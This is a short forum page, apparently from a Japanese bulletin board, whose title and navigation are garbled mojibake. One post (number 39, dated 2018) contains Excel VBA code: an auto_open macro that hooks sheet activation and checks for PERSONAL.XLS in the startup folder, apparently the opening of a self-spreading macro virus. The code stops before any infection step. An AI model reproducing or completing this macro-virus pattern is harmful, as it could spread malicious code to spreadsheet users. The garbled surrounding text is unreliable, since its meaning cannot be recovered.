y“‚āV‹M—mŽE‚·z”ƍs—\‘Ž‡yÅēĖ‚сƒbƒ^Žh‚ĩz (61)

ĐĐ ŒfŽĶ”Âˆę——‚É–ß‚é Đ ƒXƒŒƒbƒhˆę——‚É–ß‚é

39 - –ž–ģ‚ĩ‚Č‚Ė‚ķ‚á 2018/08/17(‹ā) 03:34:05.85

Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "_" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub